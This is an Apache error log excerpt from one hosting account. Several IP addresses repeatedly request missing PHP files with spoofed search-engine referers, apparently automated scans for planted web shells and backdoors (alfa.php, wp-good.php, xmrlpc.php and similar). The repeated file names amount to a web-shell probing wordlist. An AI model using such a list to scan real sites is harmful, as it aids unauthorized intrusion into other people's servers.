[client 20.58.146.18:37616] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Thu Dec 11 23:55:33.762932 2025] [:error] [pid 16068:tid 16124] [client 20.58.146.18:37618] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Thu Dec 11 23:55:33.973546 2025] [:error] [pid 16068:tid 16134] [client 20.58.146.18:37620] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.co.uk/ [Thu Dec 11 23:55:34.184567 2025] [:error] [pid 16068:tid 16119] [client 20.58.146.18:37622] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:34.395639 2025] [:error] [pid 16068:tid 16140] [client 20.58.146.18:37624] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Thu Dec 11 23:55:34.816628 2025] [:error] [pid 16068:tid 16121] [client 20.58.146.18:37628] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.com/ [Thu Dec 11 23:55:35.027792 2025] [:error] [pid 16068:tid 16107] [client 20.58.146.18:37630] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:35.660720 2025] [:error] [pid 16483:tid 16506] [client 20.58.146.18:37636] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.com/ [Thu Dec 11 23:55:35.871486 2025] [:error] [pid 16483:tid 16499] [client 20.58.146.18:37638] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Thu Dec 11 23:55:36.082138 2025] [:error] [pid 16068:tid 16137] [client 20.58.146.18:37640] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.co.uk/ [Thu Dec 11 23:55:36.292921 2025] [:error] [pid 16068:tid 16111] [client 20.58.146.18:37642] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Thu Dec 11 23:55:36.714513 2025] [:error] [pid 16068:tid 16114] [client 20.58.146.18:37646] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Thu Dec 11 23:55:37.136001 2025] [:error] [pid 16068:tid 16143] [client 20.58.146.18:37650] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:37.348249 2025] [:error] [pid 16068:tid 16122] [client 20.58.146.18:37652] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:37.559291 2025] [:error] [pid 16068:tid 16109] [client 20.58.146.18:37654] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:38.191711 2025] [:error] [pid 16067:tid 16099] [client 20.58.146.18:37660] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://duckduckgo.com/ [Thu Dec 11 23:55:38.402646 2025] [:error] [pid 16067:tid 16090] [client 20.58.146.18:37662] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:41.779528 2025] [:error] [pid 16483:tid 16507] [client 20.58.146.18:37702] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Fri Dec 12 01:59:55.641026 2025] [:error] [pid 16068:tid 16132] [client 20.214.245.245:53402] File does not exist: /home/coldtecp/public_html/404.php, referer: https://duckduckgo.com/ [Fri Dec 12 01:59:55.845598 2025] [:error] [pid 16067:tid 16098] [client 20.214.245.245:53404] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Fri Dec 12 01:59:56.049926 2025] [:error] [pid 16483:tid 16490] [client 20.214.245.245:53406] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.yahoo.com/ [Fri Dec 12 01:59:56.254072 2025] [:error] [pid 16483:tid 16493] [client 20.214.245.245:53408] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Fri Dec 12 01:59:56.458108 2025] [:error] [pid 16069:tid 16104] [client 20.214.245.245:53410] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://duckduckgo.com/ [Fri Dec 12 01:59:56.662357 2025] [:error] [pid 16068:tid 16122] [client 20.214.245.245:53412] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.com/ [Fri Dec 12 01:59:56.905215 2025] [:error] [pid 16068:tid 16126] [client 20.214.245.245:53414] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.yahoo.com/ [Fri Dec 12 01:59:57.109142 2025] [:error] [pid 16068:tid 16118] [client 20.214.245.245:53416] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.yahoo.com/ [Fri Dec 12 01:59:57.723114 2025] [:error] [pid 16483:tid 16492] [client 20.214.245.245:53422] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Fri Dec 12 01:59:57.927260 2025] [:error] [pid 16483:tid 16491] [client 20.214.245.245:53424] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Fri Dec 12 01:59:58.131180 2025] [:error] [pid 16483:tid 16494] [client 20.214.245.245:53426] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Fri Dec 12 01:59:58.337079 2025] [:error] [pid 16483:tid 16497] [client 20.214.245.245:53428] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.co.uk/ [Fri Dec 12 01:59:58.951070 2025] [:error] [pid 16483:tid 16488] [client 20.214.245.245:53438] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Fri Dec 12 01:59:59.156687 2025] [:error] [pid 16483:tid 16498] [client 20.214.245.245:53442] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Fri Dec 12 01:59:59.363567 2025] [:error] [pid 16483:tid 16501] [client 20.214.245.245:53446] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.fr/ [Fri Dec 12 01:59:59.576242 2025] [:error] [pid 16483:tid 16503] [client 20.214.245.245:53448] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.fr/ [Fri Dec 12 01:59:59.786110 2025] [:error] [pid 16483:tid 16500] [client 20.214.245.245:53450] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.fr/ [Fri Dec 12 02:00:00.195607 2025] [:error] [pid 16068:tid 16115] [client 20.214.245.245:53454] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.com/ [Fri Dec 12 02:00:00.402397 2025] [:error] [pid 16068:tid 16114] [client 20.214.245.245:53456] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://duckduckgo.com/ [Fri Dec 12 02:00:01.016768 2025] [:error] [pid 16069:tid 16148] [client 20.214.245.245:53462] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.co.uk/ [Fri Dec 12 02:00:01.221528 2025] [:error] [pid 16069:tid 16103] [client 20.214.245.245:53464] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Fri Dec 12 02:00:01.426143 2025] [:error] [pid 16069:tid 16133] [client 20.214.245.245:53468] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.yahoo.com/ [Fri Dec 12 02:00:01.638480 2025] [:error] [pid 16069:tid 16139] [client 20.214.245.245:53472] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Fri Dec 12 02:00:02.059476 2025] [:error] [pid 16483:tid 16502] [client 20.214.245.245:53476] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Fri Dec 12 02:00:02.681503 2025] [:error] [pid 16483:tid 16489] [client 20.214.245.245:53482] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.com/ [Fri Dec 12 02:00:03.307837 2025] [:error] [pid 16483:tid 16506] [client 20.214.245.245:53488] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Fri Dec 12 02:00:03.512306 2025] [:error] [pid 16483:tid 16496] [client 20.214.245.245:53490] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.bing.com/ [Fri Dec 12 02:00:06.842613 2025] [:error] [pid 16483:tid 16507] [client 20.214.245.245:53526] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Fri Dec 12 02:00:10.536170 2025] [:error] [pid 16068:tid 16124] [client 20.214.245.245:53570] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Fri Dec 12 02:00:18.007607 2025] [:error] [pid 16067:tid 16092] [client 20.214.245.245:53686] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.yahoo.com/ [Fri Dec 12 02:00:18.212069 2025] [:error] [pid 16067:tid 16083] [client 20.214.245.245:53690] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.fr/ [Fri Dec 12 02:00:18.417275 2025] [:error] [pid 16069:tid 16102] [client 20.214.245.245:53694] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.fr/ [Fri Dec 12 02:00:18.621727 2025] [:error] [pid 16483:tid 16488] [client 20.214.245.245:53696] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Fri Dec 12 02:00:18.826244 2025] [:error] [pid 16483:tid 16510] [client 20.214.245.245:53702] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.bing.com/ [Fri Dec 12 02:00:19.031134 2025] [:error] [pid 16067:tid 16087] [client 20.214.245.245:53704] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:24:53.764453 2025] [:error] [pid 16067:tid 16085] [client 4.190.209.17:36470] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.bing.com/ [Fri Dec 12 03:24:53.944526 2025] [:error] [pid 16067:tid 16082] [client 4.190.209.17:36472] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.de/ [Fri Dec 12 03:24:54.123851 2025] [:error] [pid 16067:tid 16096] [client 4.190.209.17:36474] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Fri Dec 12 03:24:54.303061 2025] [:error] [pid 16067:tid 16099] [client 4.190.209.17:36476] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:24:54.482354 2025] [:error] [pid 16067:tid 16080] [client 4.190.209.17:36478] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.bing.com/ [Fri Dec 12 03:24:54.661682 2025] [:error] [pid 16067:tid 16083] [client 4.190.209.17:36480] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.de/ [Fri Dec 12 03:24:54.841112 2025] [:error] [pid 16069:tid 16130] [client 4.190.209.17:36482] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.com/ [Fri Dec 12 03:24:55.020387 2025] [:error] [pid 16067:tid 16087] [client 4.190.209.17:36484] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.com/ [Fri Dec 12 03:24:55.209563 2025] [:error] [pid 16067:tid 16081] [client 4.190.209.17:36490] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.com/ [Fri Dec 12 03:24:55.748536 2025] [:error] [pid 16483:tid 16508] [client 4.190.209.17:36496] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Fri Dec 12 03:24:55.927862 2025] [:error] [pid 16069:tid 16110] [client 4.190.209.17:36498] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Fri Dec 12 03:24:56.107481 2025] [:error] [pid 16483:tid 16491] [client 4.190.209.17:36500] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:24:56.286617 2025] [:error] [pid 16067:tid 16086] [client 4.190.209.17:36502] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.com/ [Fri Dec 12 03:24:56.465730 2025] [:error] [pid 16068:tid 16109] [client 4.190.209.17:36504] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:24:57.003439 2025] [:error] [pid 16483:tid 16489] [client 4.190.209.17:36510] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Fri Dec 12 03:24:57.182784 2025] [:error] [pid 16483:tid 16509] [client 4.190.209.17:36514] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.de/ [Fri Dec 12 03:24:57.362266 2025] [:error] [pid 16483:tid 16486] [client 4.190.209.17:36516] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.de/ [Fri Dec 12 03:24:57.541789 2025] [:error] [pid 16483:tid 16507] [client 4.190.209.17:36518] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.co.uk/ [Fri Dec 12 03:24:57.721243 2025] [:error] [pid 16069:tid 16146] [client 4.190.209.17:36520] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Fri Dec 12 03:24:57.901594 2025] [:error] [pid 16068:tid 16126] [client 4.190.209.17:36526] File does not exist: /home/coldtecp/public_html/file.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:24:58.081196 2025] [:error] [pid 16068:tid 16115] [client 4.190.209.17:36528] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:24:58.442447 2025] [:error] [pid 16067:tid 16095] [client 4.190.209.17:36532] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:24:58.622002 2025] [:error] [pid 16067:tid 16084] [client 4.190.209.17:36534] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:24:59.160760 2025] [:error] [pid 16483:tid 16492] [client 4.190.209.17:36540] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.fr/ [Fri Dec 12 03:24:59.340145 2025] [:error] [pid 16069:tid 16144] [client 4.190.209.17:36542] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:24:59.519728 2025] [:error] [pid 16067:tid 16089] [client 4.190.209.17:36544] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:24:59.699102 2025] [:error] [pid 16068:tid 16128] [client 4.190.209.17:36546] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.fr/ [Fri Dec 12 03:25:00.057726 2025] [:error] [pid 16068:tid 16143] [client 4.190.209.17:36550] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:25:00.420620 2025] [:error] [pid 16068:tid 16114] [client 4.190.209.17:36554] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Fri Dec 12 03:25:00.599970 2025] [:error] [pid 16068:tid 16134] [client 4.190.209.17:36556] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.de/ [Fri Dec 12 03:25:00.779303 2025] [:error] [pid 16068:tid 16132] [client 4.190.209.17:36558] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://duckduckgo.com/ [Fri Dec 12 03:25:01.317972 2025] [:error] [pid 16068:tid 16137] [client 4.190.209.17:36564] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.yahoo.com/ [Fri Dec 12 03:25:01.498715 2025] [:error] [pid 16068:tid 16118] [client 4.190.209.17:36566] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.fr/ [Fri Dec 12 03:25:04.446202 2025] [:error] [pid 16067:tid 16092] [client 4.190.209.17:36602] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Fri Dec 12 04:41:48.691354 2025] [:error] [pid 25418:tid 25460] [client 4.241.233.183:47144] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.google.de/ [Fri Dec 12 04:41:48.860294 2025] [:error] [pid 25220:tid 25268] [client 4.241.233.183:47146] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.com/ [Fri Dec 12 04:41:49.029371 2025] [:error] [pid 25219:tid 25246] [client 4.241.233.183:47148] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.yahoo.com/ [Fri Dec 12 04:41:49.198033 2025] [:error] [pid 25417:tid 25443] [client 4.241.233.183:47150] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Fri Dec 12 04:41:49.367048 2025] [:error] [pid 25418:tid 25448] [client 4.241.233.183:47154] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.de/ [Fri Dec 12 04:41:49.535836 2025] [:error] [pid 25418:tid 25463] [client 4.241.233.183:47156] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Fri Dec 12 06:38:36.043816 2025] [:error] [pid 25220:tid 25274] [client 23.98.90.121:37152] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.de/ [Fri Dec 12 06:38:36.285109 2025] [:error] [pid 25418:tid 25450] [client 23.98.90.121:37156] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.fr/ [Fri Dec 12 06:38:36.527915 2025] [:error] [pid 25219:tid 25228] [client 23.98.90.121:37158] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Fri Dec 12 06:38:36.769405 2025] [:error] [pid 25219:tid 25230] [client 23.98.90.121:37160] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.co.uk/ [Fri Dec 12 06:38:37.011085 2025] [:error] [pid 25418:tid 25454] [client 23.98.90.121:37162] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Fri Dec 12 06:38:37.252853 2025] [:error] [pid 25221:tid 25289] [client 23.98.90.121:37164] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Fri Dec 12 06:38:37.494933 2025] [:error] [pid 25219:tid 25246] [client 23.98.90.121:37166] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:37.736277 2025] [:error] [pid 25418:tid 25460] [client 23.98.90.121:37168] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:37.977938 2025] [:error] [pid 25220:tid 25269] [client 23.98.90.121:37170] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.co.uk/ [Fri Dec 12 06:38:38.701964 2025] [:error] [pid 25418:tid 25467] [client 23.98.90.121:37180] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.com/ [Fri Dec 12 06:38:38.943335 2025] [:error] [pid 25418:tid 25458] [client 23.98.90.121:37182] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.de/ [Fri Dec 12 06:38:39.184388 2025] [:error] [pid 25221:tid 25308] [client 23.98.90.121:37184] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.co.uk/ [Fri Dec 12 06:38:39.426071 2025] [:error] [pid 25418:tid 25462] [client 23.98.90.121:37186] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:39.667261 2025] [:error] [pid 25221:tid 25299] [client 23.98.90.121:37188] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.google.co.uk/ [Fri Dec 12 06:38:40.392432 2025] [:error] [pid 25418:tid 25449] [client 23.98.90.121:37194] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Fri Dec 12 06:38:40.634022 2025] [:error] [pid 25220:tid 25268] [client 23.98.90.121:37196] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.bing.com/ [Fri Dec 12 06:38:40.875734 2025] [:error] [pid 25418:tid 25464] [client 23.98.90.121:37198] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:41.117525 2025] [:error] [pid 25418:tid 25456] [client 23.98.90.121:37204] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.de/ [Fri Dec 12 06:38:41.359261 2025] [:error] [pid 25418:tid 25461] [client 23.98.90.121:37206] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Fri Dec 12 06:38:41.600974 2025] [:error] [pid 25219:tid 25226] [client 23.98.90.121:37208] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:41.842782 2025] [:error] [pid 25219:tid 25248] [client 23.98.90.121:37210] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.fr/ [Fri Dec 12 06:38:42.326304 2025] [:error] [pid 25417:tid 25421] [client 23.98.90.121:37214] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://duckduckgo.com/ [Fri Dec 12 06:38:42.567756 2025] [:error] [pid 25418:tid 25466] [client 23.98.90.121:37216] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Fri Dec 12 06:38:43.299673 2025] [:error] [pid 25220:tid 25277] [client 23.98.90.121:37222] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Fri Dec 12 06:38:43.543274 2025] [:error] [pid 25418:tid 25450] [client 23.98.90.121:37226] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:43.784913 2025] [:error] [pid 25418:tid 25454] [client 23.98.90.121:37230] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.de/ [Fri Dec 12 06:38:44.026482 2025] [:error] [pid 25219:tid 25236] [client 23.98.90.121:37232] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:44.509843 2025] [:error] [pid 25221:tid 25296] [client 23.98.90.121:37236] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Fri Dec 12 06:38:44.992906 2025] [:error] [pid 25417:tid 25425] [client 23.98.90.121:37240] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.com/ [Fri Dec 12 06:38:45.234464 2025] [:error] [pid 25417:tid 25433] [client 23.98.90.121:37242] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.yahoo.com/ [Fri Dec 12 06:38:45.475828 2025] [:error] [pid 25417:tid 25427] [client 23.98.90.121:37248] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Fri Dec 12 06:38:46.201427 2025] [:error] [pid 25418:tid 25451] [client 23.98.90.121:37258] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Fri Dec 12 06:38:46.443115 2025] [:error] [pid 25418:tid 25470] [client 23.98.90.121:37260] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.com/ [Fri Dec 12 06:38:50.317128 2025] [:error] [pid 25418:tid 25454] [client 23.98.90.121:37296] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Fri Dec 12 07:12:16.562099 2025] [:error] [pid 25417:tid 25425] [client 4.241.173.134:42298] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.de/ [Fri Dec 12 07:12:16.736438 2025] [:error] [pid 25418:tid 25468] [client 4.241.173.134:42300] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:16.974402 2025] [:error] [pid 25418:tid 25466] [client 4.241.173.134:42304] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://duckduckgo.com/ [Fri Dec 12 07:12:17.148220 2025] [:error] [pid 25418:tid 25463] [client 4.241.173.134:42308] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Fri Dec 12 07:12:17.321964 2025] [:error] [pid 25418:tid 25457] [client 4.241.173.134:42310] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.bing.com/ [Fri Dec 12 07:12:17.495156 2025] [:error] [pid 25418:tid 25447] [client 4.241.173.134:42312] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.de/ [Fri Dec 12 07:12:17.668535 2025] [:error] [pid 25418:tid 25449] [client 4.241.173.134:42314] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.com/ [Fri Dec 12 07:12:17.841861 2025] [:error] [pid 25219:tid 25225] [client 4.241.173.134:42316] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://duckduckgo.com/ [Fri Dec 12 07:12:18.400479 2025] [:error] [pid 25220:tid 25273] [client 4.241.173.134:42322] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Fri Dec 12 07:12:18.611986 2025] [:error] [pid 25219:tid 25235] [client 4.241.173.134:42324] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Fri Dec 12 07:12:18.787053 2025] [:error] [pid 25219:tid 25241] [client 4.241.173.134:42326] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.com/ [Fri Dec 12 07:12:18.960388 2025] [:error] [pid 25219:tid 25232] [client 4.241.173.134:42328] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.com/ [Fri Dec 12 07:12:19.485317 2025] [:error] [pid 25219:tid 25228] [client 4.241.173.134:42338] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Fri Dec 12 07:12:19.658760 2025] [:error] [pid 25417:tid 25437] [client 4.241.173.134:42340] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.bing.com/ [Fri Dec 12 07:12:19.832878 2025] [:error] [pid 25417:tid 25426] [client 4.241.173.134:42342] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Fri Dec 12 07:12:20.006557 2025] [:error] [pid 25417:tid 25434] [client 4.241.173.134:42344] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:20.187919 2025] [:error] [pid 25418:tid 25464] [client 4.241.173.134:42346] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:20.597026 2025] [:error] [pid 25418:tid 25458] [client 4.241.173.134:42354] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:20.770568 2025] [:error] [pid 25418:tid 25465] [client 4.241.173.134:42356] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:21.341210 2025] [:error] [pid 25221:tid 25292] [client 4.241.173.134:42362] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.de/ [Fri Dec 12 07:12:21.527581 2025] [:error] [pid 25221:tid 25299] [client 4.241.173.134:42364] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Fri Dec 12 07:12:21.744332 2025] [:error] [pid 25221:tid 25308] [client 4.241.173.134:42368] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:21.917928 2025] [:error] [pid 25418:tid 25450] [client 4.241.173.134:42370] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:22.297360 2025] [:error] [pid 25418:tid 25453] [client 4.241.173.134:42374] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:22.824099 2025] [:error] [pid 25418:tid 25459] [client 4.241.173.134:42380] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.com/ [Fri Dec 12 07:12:23.357316 2025] [:error] [pid 25417:tid 25432] [client 4.241.173.134:42386] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Fri Dec 12 07:12:23.532050 2025] [:error] [pid 25418:tid 25455] [client 4.241.173.134:42388] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:26.348152 2025] [:error] [pid 25417:tid 25431] [client 4.241.173.134:42420] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.fr/ [Fri Dec 12 07:12:29.540781 2025] [:error] [pid 25418:tid 25450] [client 4.241.173.134:42464] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://duckduckgo.com/ [Fri Dec 12 07:12:35.949954 2025] [:error] [pid 25418:tid 25461] [client 4.241.173.134:42548] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://www.google.com/ [Fri Dec 12 07:12:36.123847 2025] [:error] [pid 25418:tid 25456] [client 4.241.173.134:42550] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:36.298393 2025] [:error] [pid 25220:tid 25275] [client 4.241.173.134:42552] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.com/ [Fri Dec 12 07:12:36.473211 2025] [:error] [pid 25220:tid 25258] [client 4.241.173.134:42554] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:36.650824 2025] [:error] [pid 25220:tid 25264] [client 4.241.173.134:42556] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.co.uk/ [Fri Dec 12 07:12:36.829178 2025] [:error] [pid 25418:tid 25468] [client 4.241.173.134:42558] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.de/ [Fri Dec 12 07:27:28.154339 2025] [:error] [pid 25220:tid 25270] [client 20.58.146.18:44158] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.yahoo.com/ [Fri Dec 12 07:27:28.365176 2025] [:error] [pid 25221:tid 25300] [client 20.58.146.18:44160] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Fri Dec 12 07:27:28.575754 2025] [:error] [pid 25221:tid 25294] [client 20.58.146.18:44162] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.google.de/ 